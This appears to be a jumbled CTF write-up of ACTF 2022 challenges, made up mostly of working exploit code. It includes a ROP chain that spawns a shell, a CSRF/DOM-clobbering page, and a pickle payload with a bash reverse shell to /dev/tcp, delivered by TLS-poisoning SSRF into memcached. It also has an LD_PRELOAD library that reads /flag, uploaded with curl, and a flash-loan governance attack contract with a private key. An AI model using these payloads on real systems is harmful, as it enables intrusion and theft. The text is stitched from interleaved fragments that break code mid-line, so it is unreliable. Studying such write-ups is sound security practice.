GDT_ACCESS_EXECUTABLE | GDT_ACCESS_RW GDT_DATA_ACCESS_BYTE       equ GDT_ACCESS_DEFAULT_BIT | GDT_ACCESS_PRESENT | GDT_ACCESS_RING_LEVEL_0 | GDT_ACCESS_RW GDT_CODE_FLAGS                 equ GDT_FLAGS_32_BIT_SIZE | GDT_FLAGS_PAGE_GRANULARITY GDT_DATA_FLAGS                 equ GDT_FLAGS_32_BIT_SIZE | GDT_FLAGS_PAGE_GRANULARITY GDT_BASE equ 0x4000 jmp start nop nop nop nop nop {0} start: xor ax, ax mov ds, ax ; enable serial mov al, 0x41 mov dx, 0x3f8 out dx, al ; setup gdt mov bx, GDT_BASE + 8 mov word [bx], 0xffff ;mov word [bx+2], 0 ;mov byte [bx+4], 0 mov byte [bx+5], GDT_CODE_ACCESS_BYTE mov byte [bx+6], (GDT_CODE_FLAGS << 6) | 0xF ;mov byte [bx+7], 0 add bx, 8 mov word [bx], 0xffff ;mov word [bx+2], 0 ;mov byte [bx+4], 0 mov byte [bx+5], GDT_DATA_ACCESS_BYTE mov byte [bx+6], (GDT_DATA_FLAGS << 6) | 0xF ;mov byte [bx+7], 0 cli xor ax, ax mov ds, ax lgdt [gdt_descriptor] mov eax, cr0 or eax, 0x1 mov cr0, eax jmp 08:protected_mode BITS 32 protected_mode: mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov ecx,[0x7100] ;add ecx,70432 xor eax, eax sub ecx,0x603000 loop: add ecx,4 add eax,4 cmp eax,100000 jz end cmp dword [ecx],0x61616161 jnz loop mov dword [ecx],0xdeadbeef mov dword [ecx + 4],0xdeadbeef mov dword [ecx + 8],0x4011AC ;0x4011AC mov dword [ecx + 12],0 jmp loop end: mov dword [0x7100],0x602020 mov dword [0x7104],0 Crypto RSA LEAK 论⽂:8.pdf (upm.edu.my) hlt ALIGN 16 gdt_descriptor: dw 2048   dd GDT_BASE '''.format(format_rop(payload)) payload = nasm(shellcode) p.sendlineafter(b'your code size: ',f'{len(payload)}') p.sendafter(b'your code: ',payload) input() p.sendlineafter(b'guest name: ','a' * 7) p.sendlineafter(b'guest passwd: ','a' * 7) p.sendlineafter(b'host name: ','a' * 7) p.recvline() sleep(5) leak = u64(p.recv(6) + b'\x00\x00') - 1012016 log.info('leak addr ' + hex(leak)) sys_addr = 283552 + leak binsh = 0x18CE57 + leak rebase_0 = lambda x : p64(x + leak) rop2 = p64(0x4011B4) * 2 + p64(0x4011B3) + p64(binsh) rop2 += rebase_0(0x00000000000202f8) # 0x00000000000202f8: pop rsi; ret; rop2 += p64(0) rop2 += rebase_0(0x0000000000001b92) # 0x0000000000001b92: pop rdx; ret; rop2 += p64(0) rop2 += rebase_0(0x000000000003a738) # 0x000000000003a738: pop rax; ret; rop2 += p64(0x000000000000003b) rop2 += rebase_0(0x00000000000bc3f5) # 0x00000000000bc3f5: syscall; ret; p.send(rop2) p.interactive() # from pwn import * import requests import json import os import gmpy2 from pwnlib.tubes.tube import * from hashlib import * from Crypto.Util.number import * from tqdm import tqdm, trange import random import math from Crypto.Hash import SHA256 from Crypto.Cipher import AES from factordb.factordb import FactorDB from sage.modules.free_module_integer import IntegerLattice import itertools from fastecdsa.curve import Curve from random import getrandbits, shuffle # r = remote('121.40.89.206', '21106') # # context(log_level='debug') # ALPHABET = string.ascii_letters + string.digits # rec = r.recvline().decode() # print(rec) # suffix = rec[rec.find('+')+1:rec.find(')')][1:].strip() # digest = rec[rec.find('==')+3:-1].strip() # print(f"suffix: {suffix} \ndigest: {digest}") # for i in itertools.product(ALPHABET, repeat=4): #     prefix = ''.join(i) #     guess = prefix + suffix #     if sha256(guess.encode()).hexdigest() == digest: #         # log.info(f"Find XXXX: {prefix}") #         print((f"Find XXXX: {prefix}")) #         break # r.sendline(prefix.encode()) # def resultant(p1, p2, var): #     p1 = p1.change_ring(QQ) #     p2 = p2.change_ring(QQ) #     var = var.change_ring(QQ) #     r = p1.resultant(p2, var) #     return r.change_ring(F) N = 318357383676969931376304372251348650316053308947071634848764911345082883022415182410605 056286864029171243328367979985589030694556243057213712826931894445304182547615491367684 965859964211389652529179852553372280511604167546267573299588167135959360258475130460224 441514985934687534036174077546362346750318682438578085192013636859372553577985472616868 717905130385179711123945126418327654461673682029805406323264135977512875307134047471472 053485829566042627835663074375824742291651968736242611444366098977451975123459181954712 928871986304197282440587221220811809357718465944655201708653100234066350921550186621229 4702743 e = 65537 c = 484339480787082665584089008221318468394734723504052749582545662910171378795428062384594 564009583493152454474865096337492767460537868683151635834430302896079804490762672954832 480681225532378026680455881061936921029019363552776934498676083798992542005902524419866 456435118382338038282044506220239933631402465836503229520608608678010816872882332557763 807906533616951259715964488627441650070078400332701027565360565010590985239909912603521 236913493937251580289311742180919739194570783502579783382940998496905143282738294743241 455691403865844290428843364597894997056726334750102344031328936298562849823202491199748 72840 # ln, l = 122146249659110799196678177080657779971, 90846368443479079691227824315092288065 # lp = 13648451618657980711 # lq = ln // lp # lphi = (lp-1) * (lq-1) # ld = inverse(e, lphi) # l -= 0xdeadbeef # for x in tqdm(range(1, 1<<24)): #     if x == 13871617: #         print('??') #     t = pow(x, e, ln) #     ll = (l - t) % ln #     rq = Integer(pow(ll, ld, ln)) #     if rq.nbits() in range(23, 25): #         print(x, rq) #         break rq, rp = 405771, 11974933 # rp, rq = rq, rp expo = 4 from tqdm import tqdm start = ceil((rp * rq)^0.5) # start = 1 bound = floor(rq/2 + 2^(expo/2 - 1)*rp + 1) for i in tqdm(range(start, bound)):    sigma = (isqrt(N) - i)^2    z = (N - rp*rq) % sigma    delta = z^2 - 4*sigma*rp*rq    if delta < 0:        continue    if isqrt(delta)**2 == delta:        x1 = (z + int(isqrt(delta))) / 2        print(f'x1 = {x1}')        assert x1^2 - z*x1 + sigma*rp*rq == 0        prob_p = int(N // ((x1 // rp) + rq))        print(prob_p)        if N % int(prob_p) == 0: impossible RSA            p = prob_p            q = N // prob_p            break        x2 = (z - int(isqrt(delta))) / 2        print(f'x2 = {x2}')        assert x2^2 - z*x2 + sigma*rp*rq == 0        prob_p = int(N // ((x2 // rq) + rp))        if N % prob_p == 0:            p = prob_p            q = N // prob_p            break phi = (p-1) * (q-1) d = inverse(e, phi) print(long_to_bytes(int(pow(c, d, N)))) from pwn import * import requests import json import os import gmpy2 from pwnlib.tubes.tube import * from hashlib import * from Crypto.Util.number import * from tqdm import tqdm, trange import random import math from Crypto.Hash import SHA256 from Crypto.Cipher import AES from factordb.factordb import FactorDB from sage.modules.free_module_integer import IntegerLattice import itertools from fastecdsa.curve import Curve from random import getrandbits, shuffle # r = remote('121.40.89.206', '21106') # # context(log_level='debug') # ALPHABET = string.ascii_letters + string.digits # rec = r.recvline().decode() # print(rec) # suffix = rec[rec.find('+')+1:rec.find(')')][1:].strip() # digest = rec[rec.find('==')+3:-1].strip() # print(f"suffix: {suffix} \ndigest: {digest}") # for i in itertools.product(ALPHABET, repeat=4): Web #     prefix = ''.join(i) #     guess = prefix + suffix #     if sha256(guess.encode()).hexdigest() == digest: #         # log.info(f"Find XXXX: {prefix}") #         print((f"Find XXXX: {prefix}")) #         break # r.sendline(prefix.encode()) n = 159875761393418887886488630005344176403006103104006672850959515252081456893645991190230 714140369010607466677903229784520821566802453159670278262377206089150931095520010336608 678085083075695314840901094293193694223521927821261078188897171339519236160779438846519 896223454355054287088077990812675517242390525691479217463422322806215335012631151488447 369004227123059372662288095335491343496072124008510920052818652968509914693755788156152 350308570476209505365347295913592362902496103714063007911074420987961288959186975345908 654594214393983618185919242116076517479706798492624678947740126173353528877454755091555 75074809 e = 65537 N = e*n # P.<x> = PolynomialRing(ZZ) # for i in tqdm(range(e)): #     f = x*(i*x-1) - N #     res = f.roots() #     for root, _ in res: #         root = root % n #         if gcd(root, n) != 1: #             print(root) root = 159875761393418887886488630005344176403006103104006672850959515252081456893645991190230 714140369010607466677903229784520821566802453159670278262377206089150931095520010336608 678085083075695314840901094293193694223521927821261078188897171339519236160779438846519 896223454355054287088077990812675517242390525689974559054946442845395987105954635384969 943959913105101747947610087476729620319019434076983483153140900301389018082472065200085 521783750351270111684901292245642667364215313067842537110558730086182435961367163254700 111688573747363037909128488097059338159461305378659832342167336418094937598474708897502 55306696 p = 150465840847587996081934790667651610347742504431401795762471467800785876172317705268993 152743689967775266712089661128372295606682852482012493939368044600366794969553828079064 622047080051569090177885299781981209120854290564064662058027679075401901717932024549311 396484660557278975525859127898004619405319768113 q = n // p phi = (p-1) * (q-1) d = inverse(e, phi) with open('/mnt/f/ctf/train/8f7eedbd3bb9441e892c5cde9435c4ec/flag', 'rb') as f:    c = bytes_to_long(f.read()) print(long_to_bytes(int(pow(c, d, n)))) Web poorui 直接登录成admin,发送getflag就getflag了 beWhatYouWannaBe 前16字节可通过csrf获取(让admin给⾃⼰赋予admin) csrf token可预测 后16字节可以使⽤这个获取 (https://portswigger.net/research/dom-clobbering-strikes-back) connect ws://124.71.181.238:8081 {"api":"login","username":"admin"} {"api":"getflag","to":"flagbot"} ACTF{s0rry_for_4he_po0r_front3nd_ui_:)_4FB89F0AAD0A} <html> <iframe name=fff srcdoc=" <iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe> </html> <!DOCTYPE html> <html lang="en"> <head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Document</title> </head> <body>    <form id="form" action="<http://localhost:8000/beAdmin>" method="post">        <input name="username" value="crane123">        <input id="csrftoken" name="csrftoken" value="">    </form>    <iframe name=fff srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>    <script src="crypto-js.min.js"></script>    <script>        csrftoken.value = CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString(CryptoJS.enc.Hex); ToLeSion 使⽤ftps TLS ssrf攻击 memcached,注⼊⼀个python序列化数据,然后rce https://zhuanlan.zhihu.com/p/373864799 (FTPS tls攻击⽅法)        form.submit()    </script> </body> </html> import socketserver,threading,time,base64,sys,os import redis import pickle class RCE:    def __reduce__(self):        cmd = "bash -c 'bash -i >& /dev/tcp/server-ip/port 0>&1'"        return os.system, (cmd,) pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled)) os.system('redis-server > /dev/null 2>&1 &') time.sleep(2) r = redis.Redis(host='127.0.0.1', port=6379, db=0) data_len = str(len(pickled)).encode() payload = b"\r\nset actfSession:112233 0 0 " + data_len + b"\r\n" + pickled + b"\r\n" print('payload len: ', len(payload), file=sys.stderr) # assert len(payload) <= 32 好像超了也没事⼉ r.set('payload', payload) # https://github.com/jmdx/TLS-poison modified for accepting 32 bytes injections os.system(f'nohup ./custom-tls -p 8888 --certs ./fullchain.pem --key ./privkey.pem forward 2048 --verbose >run.log 2>&1 &') class MyTCPHandler(socketserver.StreamRequestHandler):    def handle(self):        print('[+] connected', self.request, file=sys.stderr)        self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr,flush=True)        self.request.sendall(b'230 Login successful.\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'200 yolo\r\n') gogogo LD_PRELOAD https://tttang.com/archive/1399/        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'200 yolo\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'257 "/" is the current directory\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'200 Switching to Binary mode.\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')        self.data = self.rfile.readline().strip().decode()        print(self.data, file=sys.stderr)        # 226 Transfer complete.        self.request.sendall(b'250 Requested file action okay, completed.')        exit() def ftp_worker():    with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:        while True:            server.handle_request() ftp_worker() # print(sess.get(url, params={'url': target}).text, file=sys.stderr) && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\\"/tmp\\"'" \\ 加脏字符 改Content-Length Intruder爆破fd ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022} Misc signin #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> static void before_main(void) __attribute__((constructor)); static void before_main(void) {        FILE *fp = NULL;        char buff[255];        fp = fopen("/flag", "r");        fscanf(fp, "%s", buff);        write(1, buff, strlen(buff)); } gcc -s -shared -fPIC rabbit.c -o rabbit.so curl -v -F data=@rabbit.so -F "LD_PRELOAD=/proc/self/fd/7" <http://123.60.84.229:10218/cgi-bin/hello> --proxy "<http://192.168.233.1:8088>" import bz2 import lzma import gzip import zstandard as zstd import py7zr while 1:    with open('flag', 'rb') as f:        header_bytes = f.read(4)    if header_bytes == b'BZh9':        # decompress the flag        with bz2.open('flag', 'rb') as f:            flag_bytes = f.read()        with open('flag', 'wb') as f:            f.write(flag_bytes)    elif header_bytes == b']\\x00\\x00\\x80':        # decompress the flag lzma        with lzma.open('flag', 'rb') as f:            flag_bytes = f.read()        with open('flag', 'wb') as f:            f.write(flag_bytes) Mahjoong safer-telegram-bot-1    elif header_bytes == b'\\x1f\\x8b\\x08\\x08':        # decompress the flag gzip        with gzip.open('flag', 'rb') as f:            flag_bytes = f.read()        with open('flag', 'wb') as f:            f.write(flag_bytes)    elif header_bytes == b'\\x28\\xb5\\x2f\\xfd':        # decompress the flag zstandard        with zstd.ZstdDecompressor().stream_reader(open('flag','rb')) as f:            flag_bytes = f.read()        with open('flag', 'wb') as f:            f.write(flag_bytes)    elif header_bytes == b'\\xFD\\x37\\x7A\\x58':        # decompress the flag xz        with lzma.open('flag', 'rb') as f:            flag_bytes = f.read()        with open('flag', 'wb') as f:            f.write(flag_bytes)    else:        break if (damanguan.length > 0){        let a = [240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72 ,140,187,16,19];        let b = [177, 255, 142, 139, 199, 227, 202, 163, 186, 76, 91, 152, 65, 185, 15, 121, 152, 220, 162, 13, 198, 197, 36, 191, 215, 117, 110];        let c = new Array(27);        for(var i = 0 ;i < 27; i++){            c[i] = String.fromCharCode(a[i] ^ b[i]);               }        alert(c.join(''));        return damanguan;   } import asyncio from telethon import TelegramClient # Use your own values from my.telegram.org api_id = 10597681 api_hash = '' from telethon import TelegramClient, events, sync BlockChain AAADAO client = TelegramClient('anon', api_id, api_hash) @client.on(events.MessageEdited(chats=-607364077)) async def my_event_handler(event):    if event.raw_text == 'Preparing to login':        print(event.stringify())        # print(event.keyboard.stringify())        await event.click(0) client.start() client.run_until_disconnected() // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashBorrower.sol) pragma solidity ^0.8.0; interface IERC20 {    /**     * @dev Emitted when `value` tokens are moved from one account (`from`) to     * another (`to`).     *     * Note that `value` may be zero.     */    event Transfer(address indexed from, address indexed to, uint256 value);    /**     * @dev Emitted when the allowance of a `spender` for an `owner` is set by     * a call to {approve}. `value` is the new allowance.     */    event Approval(address indexed owner, address indexed spender, uint256 value);    /**     * @dev Returns the amount of tokens in existence.     */    function totalSupply() external view returns (uint256);    /**     * @dev Returns the amount of tokens owned by `account`.     */    function balanceOf(address account) external view returns (uint256);    /**     * @dev Moves `amount` tokens from the caller's account to `to`.     *     * Returns a boolean value indicating whether the operation succeeded.     *     * Emits a {Transfer} event.     */    function transfer(address to, uint256 amount) external returns (bool);    /**     * @dev Returns the remaining number of tokens that `spender` will be     * allowed to spend on behalf of `owner` through {transferFrom}. This is     * zero by default.     *     * This value changes when {approve} or {transferFrom} are called.     */    function allowance(address owner, address spender) external view returns (uint256);    /**     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.     *     * Returns a boolean value indicating whether the operation succeeded.     *     * IMPORTANT: Beware that changing an allowance with this method brings the risk     * that someone may use both the old and the new allowance by unfortunate     * transaction ordering. One possible solution to mitigate this race     * condition is to first reduce the spender's allowance to 0 and set the     * desired value afterwards:     * <https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729>     *     * Emits an {Approval} event.     */    function approve(address spender, uint256 amount) external returns (bool);    /**     * @dev Moves `amount` tokens from `from` to `to` using the     * allowance mechanism. `amount` is then deducted from the caller's     * allowance.     *     * Returns a boolean value indicating whether the operation succeeded.     *     * Emits a {Transfer} event.     */    function transferFrom(        address from,        address to,        uint256 amount   ) external returns (bool); } interface IERC3156FlashBorrower {    /**     * @dev Receive a flash loan.     * @param initiator The initiator of the loan.     * @param token The loan currency.     * @param amount The amount of tokens lent.     * @param fee The additional amount of tokens to repay.     * @param data Arbitrary data structure, intended to contain user-defined parameters.     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"     */    function onFlashLoan(        address initiator,        address token,        uint256 amount,        uint256 fee,        bytes calldata data   ) external returns (bytes32); } interface IERC165 {    /**     * @dev Returns true if this contract implements the interface defined by     * `interfaceId`. See the corresponding     * <https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified>[EIP section]     * to learn more about how these ids are created.     *     * This function call must use less than 30 000 gas.     */    function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IGovernor is IERC165 {    enum ProposalState {        Pending,        Active,        Canceled,        Defeated,        Succeeded,        Queued,        Expired,        Executed   }    /**     * @dev Emitted when a proposal is created.     */    event ProposalCreated(        uint256 proposalId,        address proposer,        address[] targets,        uint256[] values,        string[] signatures,        bytes[] calldatas,        uint256 startBlock,        uint256 endBlock,        string description   );    /**     * @dev Emitted when a proposal is canceled.     */    event ProposalCanceled(uint256 proposalId);    /**     * @dev Emitted when a proposal is executed.     */    event ProposalExecuted(uint256 proposalId);    /**     * @dev Emitted when a vote is cast without params.     *     * Note: `support` values should be seen as buckets. Their interpretation depends on the voting module used.     */    event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);    /**     * @dev Emitted when a vote is cast with params.     *     * Note: `support` values should be seen as buckets. Their interpretation depends on the voting module used.     * `params` are additional encoded parameters. Their intepepretation also depends on the voting module used.     */    event VoteCastWithParams(        address indexed voter,        uint256 proposalId,        uint8 support,        uint256 weight,        string reason,        bytes params   );    /**     * @notice module:core     * @dev Name of the governor instance (used in building the ERC712 domain separator).     */    function name() external view virtual returns (string memory);    /**     * @notice module:core     * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1"     */    function version() external view virtual returns (string memory);    /**     * @notice module:voting     * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to     * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of     * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.     *     * There are 2 standard keys: `support` and `quorum`.     *     * - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.     * - `quorum=bravo` means that only For votes are counted towards quorum.     * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.     *     * If a counting module makes use of encoded `params`, it should include this under a `params` key with a unique     * name that describes the behavior. For example:     *     * - `params=fractional` might refer to a scheme where votes are divided fractionally between for/against/abstain.     * - `params=erc721` might refer to a scheme where specific NFTs are delegated to vote.     *     * NOTE: The string can be decoded by the standard     * <https://developer.mozilla.org/en- US/docs/Web/API/URLSearchParams[`URLSearchParams`]>     * JavaScript class.     */    // solhint-disable-next-line func-name-mixedcase    function COUNTING_MODE() external pure virtual returns (string memory);    /**     * @notice module:core     * @dev Hashing function used to (re)build the proposal id from the proposal details..     */    function hashProposal(        address[] memory targets,        uint256[] memory values,        bytes[] memory calldatas,        bytes32 descriptionHash   ) external pure virtual returns (uint256);    /**     * @notice module:core     * @dev Current state of a proposal, following Compound's convention     */    function state(uint256 proposalId) external view virtual returns (ProposalState);    /**     * @notice module:core     * @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's     * ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the     * beginning of the following block.     */    function proposalSnapshot(uint256 proposalId) external view virtual returns (uint256);    /**     * @notice module:core     * @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote     * during this block.     */    function proposalDeadline(uint256 proposalId) external view virtual returns (uint256);    /**     * @notice module:user-config     * @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to     * leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.     */    function votingDelay() external view virtual returns (uint256);    /**     * @notice module:user-config     * @dev Delay, in number of blocks, between the vote start and vote ends.     *     * NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting     * duration compared to the voting delay.     */    function votingPeriod() external view virtual returns (uint256);    /**     * @notice module:user-config     * @dev Minimum number of cast voted required for a proposal to be successful.     *     * Note: The `blockNumber` parameter corresponds to the snapshot used for counting vote. This allows to scale the     * quorum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).     */    function quorum(uint256 blockNumber) external view virtual returns (uint256);    /**     * @notice module:reputation     * @dev Voting power of an `account` at a specific `blockNumber`.     *     * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or     * multiple), {ERC20Votes} tokens.     */    function getVotes(address account, uint256 blockNumber) external view virtual returns (uint256);    /**     * @notice module:reputation     * @dev Voting power of an `account` at a specific `blockNumber` given additional encoded parameters.     */    function getVotesWithParams(        address account,        uint256 blockNumber,        bytes memory params   ) external view virtual returns (uint256);    /**     * @notice module:voting     * @dev Returns weither `account` has cast a vote on `proposalId`.     */    function hasVoted(uint256 proposalId, address account) external view virtual returns (bool);    /**     * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends     * {IGovernor-votingPeriod} blocks after the voting starts.     *     * Emits a {ProposalCreated} event.     */    function propose(        address[] memory targets,        uint256[] memory values,        bytes[] memory calldatas,        string memory description   ) external virtual returns (uint256 proposalId);    /**     * @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the     * deadline to be reached.     *     * Emits a {ProposalExecuted} event.     *     * Note: some module can modify the requirements for execution, for example by adding an additional timelock.     */    function emergencyExecuteRightNow(        address[] memory targets,        uint256[] memory values,        bytes[] memory calldatas,        bytes32 descriptionHash   ) external payable virtual returns (uint256 proposalId);    function execute(        address[] memory targets,        uint256[] memory values,        bytes[] memory calldatas,        bytes32 descriptionHash   ) external payable virtual returns (uint256 proposalId);    /**     * @dev Cast a vote     *     * Emits a {VoteCast} event.     */    function castVote(uint256 proposalId, uint8 support) external virtual returns (uint256 balance);    /**     * @dev Cast a vote with a reason     *     * Emits a {VoteCast} event.     */    function castVoteWithReason(        uint256 proposalId,        uint8 support,        string calldata reason   ) external virtual returns (uint256 balance);    /**     * @dev Cast a vote with a reason and additional encoded parameters     *     * Emits a {VoteCast} event.     */    function castVoteWithReasonAndParams(        uint256 proposalId,        uint8 support,        string calldata reason,        bytes memory params   ) external virtual returns (uint256 balance);    /**     * @dev Cast a vote using the user's cryptographic signature.     *     * Emits a {VoteCast} event.     */    function castVoteBySig(        uint256 proposalId,        uint8 support,        uint8 v,        bytes32 r,        bytes32 s   ) external virtual returns (uint256 balance);    /**     * @dev Cast a vote with a reason and additional encoded parameters using the user's cryptographic signature.     *     * Emits a {VoteCast} event.     */    function castVoteWithReasonAndParamsBySig(        uint256 proposalId,        uint8 support,        string calldata reason,        bytes memory params,        uint8 v,        bytes32 r,        bytes32 s   ) external virtual returns (uint256 balance); } interface AAA is IERC20{    function flashLoan(        IERC3156FlashBorrower receiver,        address token,        uint256 amount,        bytes calldata data   ) external;    function delegate(address delegatee) external; } interface Gov is IGovernor{ } contract test is IERC3156FlashBorrower{    AAA addr_aaa = AAA(0xB3bd9369f0800f44AF65A7Cb6cDCd260d43a1Fc7);    Gov addr_gov = Gov(0x90281424B4aC14Ff93260a5B24e7ca5DDc67E1AB);    bytes32 constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");    uint256 proposalId;    function onFlashLoan(        address initiator,        address token,        uint256 amount,        uint256 fee,        bytes calldata data   ) external override returns (bytes32){        // step3 delegate here and ckpts[address(this)] becomes [{current_blockNum,flashLoan_amount}]        call_delegate();        // castVote to vote for address(this)        addr_gov.castVote(proposalId,1);        // execute the propose        address[] memory targets=new address[](1); targets[0] =  address(this);        uint256[] memory values=new uint256[](1);values[0]= 100000000 * 10 ** 18;        bytes[] memory calldatas=new bytes[](1);calldatas[0] = abi.encodeWithSignature("atransfer()"); // transfer to address(this)        bytes32 description = keccak256(bytes(""));        addr_gov.emergencyExecuteRightNow(targets,values,calldatas,description);        return _RETURN_VALUE;   }    // step2 flashLoan and triger attack    function call_flashLoan() public {        addr_aaa.approve(address(addr_aaa),type(uint256).max);  addr_aaa.flashLoan(IERC3156FlashBorrower(address(this)),address(addr_aaa),300000000 * 10 ** 18,"");   }    event call_propose_event(string);    // step1 propose and wait for 10 blocks    function call_propose() public {        address[] memory targets=new address[](1); targets[0] = address(this);        uint256[] memory values=new uint256[](1);values[0]= 100000000 * 10 ** 18;        bytes[] memory calldatas=new bytes[](1);calldatas[0] = abi.encodeWithSignature("atransfer()"); // transfer to address(this)        string memory description = "";        addr_gov.propose(targets,values,calldatas,description);        emit call_propose_event("call_propose success");   }    function set_proposalId(uint256 _prosId) public {        proposalId = _prosId;   }    function call_delegate() public {        addr_aaa.delegate(address(this));   }    function atransfer() public {       (bool success,) = address(0xB3bd9369f0800f44AF65A7Cb6cDCd260d43a1Fc7).call(abi.encodeWithSignature("trans fer(address,uint256)",msg.sender,100000000 * 10 ** 18));        require(success,"attack call fail");   } } from web3 import Web3, HTTPProvider w3 = Web3(Web3.HTTPProvider('<http://123.60.90.204:8545>')) priv_key = "802d86d9167f48b1c7f927f6247ccf56ed4c754b1be0b179867444f491a3a212" my_account = w3.eth.account.from_key(priv_key) print(my_account.address) abi = [ { "anonymous": False, "inputs": [ { "indexed": False, "internalType": "string", "name": "", "type": "string" } ], "name": "call_propose_event", "type": "event" }, { "inputs": [], "name": "call_delegate", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "call_flashLoan", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "call_propose", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "initiator", "type": "address" }, { "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" }, { "internalType": "uint256", "name": "fee", "type": "uint256" }, { "internalType": "bytes", "name": "data", "type": "bytes" } ], "name": "onFlashLoan", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_prosId", "type": "uint256" } ], "name": "set_proposalId", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ] bytecode = 0x6080604052600080546001600160a01b031990811673b3bd9369f0800f44af65a7cb6cdcd260d43a1fc71 7909155600180549091167390281424b4ac14ff93260a5b24e7ca5ddc67e1ab179055348015610058576000 80fd5b50610ae3806100686000396000f3fe608060405234801561001057600080fd5b50600436106100625 760003560e01c806323e30c8b146100675780633679735c1461008c578063418bc98b146100965780637356 d589146100a9578063f5308afe146100b1578063fd269537146100b9575b600080fd5b61007a61007536600 46107b6565b6100c1565b60405190815260200160405180910390f35b610094610353565b005b6100946100 a4366004610885565b600255565b6100946103b3565b6100946104ab565b610094610589565b60006100cb6 10353565b60018054600254604051630acf027160e31b815260048101919091526024810192909252600160 0160a01b031690635678138890604401602060405180830381600087803b15801561011c57600080fd5b505 af1158015610130573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101 90610154919061089e565b50604080516001808252818301909252600091602080830190803683370190505 09050308160008151811061018b5761018b610a97565b6001600160a01b0392909216602092830291909101 909101526040805160018082528183019092526000918160200160208202803683370190505090506a52b7d 2dcc80cd2e4000000816000815181106101e7576101e7610a97565b60209081029190910101526040805160 01808252818301909252600091816020015b606081526020019060019003908161020957905050604080516 0048152602481019091526020810180516001600160e01b0316637356d58960e01b17905281519192509082 9060009061025e5761025e610a97565b6020908102919091018101919091526040805191820181526000909 1526001549051630b0e90c560e21b81527fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfa d8045d85a470916001600160a01b031690632c3a4314906102d09087908790879087906004016109c8565b6 02060405180830381600087803b1580156102ea57600080fd5b505af11580156102fe573d6000803e3d6000 fd5b505050506040513d601f19601f82011682018060405250810190610322919061089e565b507f439148f 0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd99b9a5050505050505050505050565b 6000546040516317066a5760e21b81523060048201526001600160a01b0390911690635c19a95c906024015 b600060405180830381600087803b15801561039957600080fd5b505af11580156103ad573d6000803e3d60 00fd5b50505050565b6040513360248201526a52b7d2dcc80cd2e4000000604482015260009073b3bd9369f 0800f44af65a7cb6cdcd260d43a1fc79060640160408051601f198184030181529181526020820180516001 600160e01b031663a9059cbb60e01b1790525161041e91906109ac565b6000604051808303816000865af19 150503d806000811461045b576040519150601f19603f3d011682016040523d82523d6000602084013e6104 60565b606091505b50509050806104a85760405162461bcd60e51b815260206004820152601060248201526 